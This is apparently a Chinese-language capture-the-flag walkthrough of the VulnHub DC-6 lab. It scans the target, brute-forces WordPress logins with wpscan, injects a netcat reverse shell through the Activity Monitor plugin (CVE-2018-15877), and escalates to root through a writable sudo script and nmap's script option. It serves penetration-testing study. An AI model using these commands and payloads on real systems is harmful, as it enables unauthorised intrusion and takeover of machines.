环境配置

vulnhub 下载此靶机,下载地址如下:

1
https://download.vulnhub.com/dc/DC-6.zip

将靶机设置为 NAT 模式,开机即可,配置说明如下:

1
2
攻击机ip:192.168.52.128
靶机ip:192.168.52.133

信息收集

端口扫描

首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.133

1
nmap -sP 192.168.52.0/24

使用 Nmap 全面扫一下开放的端口和运行的服务

1
nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.133

扫描结果如下:系统开放了一个 SSH 服务(22 端口)、一个 HTTP 服务(80 端口)

1
2
3
4
5
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Did not follow redirect to http://wordy/
|_http-server-header: Apache/2.4.25 (Debian)

网站信息收集

需要将域名解析到对应的 IP 地址才能访问网站,可以通过修改本地的 hosts 文件,添加如下映射:

1
192.168.52.133 wordy

插件识别一下网站是 WordPress 搭建的

目录扫描

随便点点没啥有用的信息,使用 dirsearch 来扫一下目录看看有什么泄露的路径

1
python .\dirsearch.py -u http://wordy/

登陆爆破

扫到登陆页面,使用 wpscan 来爆破一下网站中有哪些账号,发现五个账号

1
wpscan --url http://wordy/ -e u

将这五个账号写到 users.txt 中,然后根据靶机下载的地方作者给的提示提取一下密码字典

1
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

然后就可以开始爆破了,使用 wpscan 指定账号密码爆破

1
wpscan --url http://wordy/ -U users.txt -P passwords.txt

成功爆出一个账号密码 mark/helpdesk01

漏洞利用

插件命令执行

登陆到后台后,发现安装了插件 Activity Monitor,搜索发现存在 CVE-2018-15877 漏洞

来到插件位置,在 Tools 页面有一个查 IP 的地方,拼接执行任意命令

输入命令后点 Lookup 可以执行命令并有回显,确定可以成功执行

还是用 nc 才能成功反弹到 shell,这里输入框有长度限制,需要在前端改一下

1
127.0.0.1 | nc 192.168.52.128 2233 -e /bin/bash

监听成功没回显,还是用 python 起一个终端方便操作

1
python -c 'import pty;pty.spawn("/bin/bash")'

在 home 目录下有四个用户,在 mark 目录下有一个文件里写着账号密码,尝试 ssh 登陆,成功登陆拿到一个普通用户的权限

权限提升

拿到普通用户权限后,先 sudo -l 查看一下当前用户允许的 sudo 命令

当前用户 graham 可以以用户 jens 的身份无密码运行 /home/jens/backups.sh​ 脚本

我们先查看一下文件权限,发现 devs 组的用户可写,而当前用户刚好在 devs 组里

那我们就可以将 /bin/bash 写入 backups.sh 文件并以 jens 用户运行脚本,这样就可以得到一个 jens 用户权限的终端

1
2
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh

得到 jens 用户权限的终端后再 sudo -l 即可查看 jens 用户允许的 sudo 命令,发现 jens 用户可以无密码以 root 权限允许 nmap

使用 GTFOBins 搜一下 nmap 的提权手法

第二种需要特定版本区间,很老的版本了,使用第一种方法,将命令写到 shell 文件中,sudo nmap 运行该脚本即可得到一个 root 权限的 shell,成功提权

1
2
echo 'os.execute("/bin/sh")' > shell
sudo nmap --script=shell